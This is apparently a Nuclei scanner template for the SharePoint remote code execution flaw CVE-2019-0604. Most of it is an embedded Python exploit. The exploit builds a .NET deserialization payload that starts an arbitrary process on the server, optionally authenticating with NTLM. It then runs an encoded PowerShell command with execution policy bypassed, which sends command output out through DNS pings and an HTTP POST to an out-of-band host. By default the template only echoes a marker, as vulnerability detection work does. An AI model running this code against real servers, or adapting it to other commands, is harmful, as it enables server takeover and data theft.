id: CVE-2019-0604

info:
  name: Microsoft SharePoint - Remote Code Execution
  author: tree-chtsec,pszyszkowski
  severity: critical
  description: |
    Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
  impact: |
    Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Fixed in security update published Feb 12, 2019
  reference:
    - https://github.com/Gh0st0ne/weaponized-0604
    - https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-0604
    - https://nvd.nist.gov/vuln/detail/cve-2019-0604
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
    epss-score: 0.99913
    epss-percentile: 0.99966
  metadata:
    verified: true
    vendor: microsoft
    product: sharepoint
    shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
  tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev,vuln

variables:
  OAST: "{{interactsh-url}}"
  marker: "{{randbase(5)}}"

code:
  - engine:
      - py
      - python3 #pip install lxml{required}

    source: |
      import os
      import sys
      import base64
      import argparse
      from copy import deepcopy
      import urllib3
      import requests
      import lxml.html
      import codecs
      from xml.sax.saxutils import escape
      urllib3.disable_warnings()
      default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
      part1 = 'System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35]],System.Data.Services,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089:'
      part2 = '<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><ExpandedElement/><ProjectedProperty0><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">%s</anyType></MethodParameters><ObjectInstance a:type="XamlReader"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfXamlReaderObjectDataProvider>'
      content = '<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:c="clr-namespace:System;assembly=mscorlib" xmlns:d="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="" ObjectType="{x:Type d:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <c:String>%(base)s</c:String> <c:String>%(arg)s</c:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>'
      paths = [os.getenv("Path"), '/_vti_pvt/picker.aspx', '/_app_bin/picker.aspx', '/_controltemplates/picker.aspx', '/_login/picker.aspx', '/_windows/picker.aspx', '/_layouts/15/picker.aspx', '/_wpresources/picker.aspx', '/_vti_bin/picker.aspx']
      host = os.getenv('RootURL')
      domain = os.getenv('OAST')
      user = os.getenv('username')
      pswd = os.getenv('password')
      def html_escape(s):
          _ = escape(s)
          _ = _.replace('"', '&quot;')
          return _
      def _0604(cmd):
          if ' ' in cmd and '|' not in cmd[:cmd.find(' ')]: # avoid command problem (TODO : find a better solution)
              _bin, _arg = cmd.split(' ', 1)
          else:
              _bin = 'cmd'
              _arg = '/c ' + cmd
          payload = part1 + part2 % html_escape(content % dict(base=html_escape(_bin), arg=html_escape(_arg)))
          o = ''.join(codecs.encode(codecs.encode(x, 'utf-16be'), 'hex').decode('ascii')[::-1] for x in payload)
          return '__bp' + format(len(o), 'x')[::-1] + o
      def main():
          auth = ''
          cmd = 'echo ' + os.getenv('marker')
          if (user != None) and (pswd != None):
              auth = user + ':' + pswd
              ntlm = True
          else:
              ntlm = False
          if host is None:
              print("missing target. You must specify -u <url>")
              exit(1)
          if domain is not None:
              print('OOB: "%s" will be executed in POWERSHELL context' % (cmd))
              __var_raw = '$a'
              __var_hex = '$b'
              __dns_code = '''
      $bl = %(v_hex)s.length;$l = 60;$i = 0;
      while($i -lt $bl) {
      $l = if(($bl - $i) -gt $l) { $l } else { $bl - $i };
      $v = %(v_hex)s.substring($i, $l);
      ping -n 1 "$i.$v.%(domain)s";
      $i += $l; }
              '''.strip() % dict(domain=domain, v_hex=__var_hex)
              __post_code = '''
      iwr -Uri %(domain)s -Method post -Body %(v_raw)s;
              '''.strip() % dict(domain=domain, v_raw=__var_raw)
              __code = '''
      %(v_raw)s = %(cmd)s;
      $Encode = new-object "System.Text.UTF8Encoding";
      $bytearray = $Encode.GetBytes(%(v_raw)s);
      %(v_hex)s = "";
      Foreach ($i in $bytearray) {
        %(v_hex)s = %(v_hex)s + $i.ToString("X").PadLeft(2,"0");
      }
              '''.strip() % dict(cmd=cmd, v_raw=__var_raw, v_hex=__var_hex)
              __code += __dns_code
              __code = base64.b64encode(__code.encode('UTF-16LE')).decode()
              cmd = 'powershell -ep bypass -enc %s' % (__code)
              print(cmd)
          if ntlm:
              from requests_ntlm import HttpNtlmAuth
              _auth = HttpNtlmAuth(*auth.split(':', 1))
          else:
              _auth = None
          _headers = {'User-Agent': default_ua}
          req_kwargs = {
              'headers': _headers,
              'auth': _auth,
              'verify': False
          }
          def auto_sp_attack(kwargs):
              for item in paths:
                  url = os.getenv('RootURL') + item
                  # get sharepoint version (2019,2016 / 2013 / 2010)
                  res = requests.get(url, **kwargs)
                  spversion = res.headers.get('MicrosoftSharePointTeamServices', '16').split('.', 1)[0] + '.0.0.0'
                  kwargs['params'] = dict(PickerDialogType='Microsoft.SharePoint.WebControls.ItemPickerDialog,Microsoft.SharePoint,Version=%s,Culture=neutral,PublicKeyToken=71e9bce111e9429c' % spversion)
                  # get viewstate & ev from picker.aspx
                  if res.status_code != 200:
                      print('%s failed [%s]' % (item, res.status_code))
                      continue
                  else:
                      break
              rt = lxml.html.fromstring(res.content)
              spandata = list(filter(lambda x: x.get('name').endswith('hiddenSpanData'), rt.xpath('//input[contains(@name, "hiddenSpanData")]')))[0].get('name')
              kwargs['data'] = {
                  '__VIEWSTATE': rt.get_element_by_id('__VIEWSTATE').value if rt.xpath('//input[@id="__VIEWSTATE"]') else '',
                  '__EVENTVALIDATION': rt.get_element_by_id('__EVENTVALIDATION').value if rt.xpath('//input[@id="__EVENTVALIDATION"]') else '',
              }
              payload = _0604(cmd)
              kwargs['data'][spandata] = payload
              return requests.post(url, **kwargs)
          attack_fn = auto_sp_attack
          res = attack_fn(deepcopy(req_kwargs))
          if all(s in res.text for s in ['"ms-pickerresultheadertr"', 'Administrators, see the server log for more information.']):
            print('%s succeded (%s)' % (res.url, res.status_code))
      if __name__ == '__main__':
          main()

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950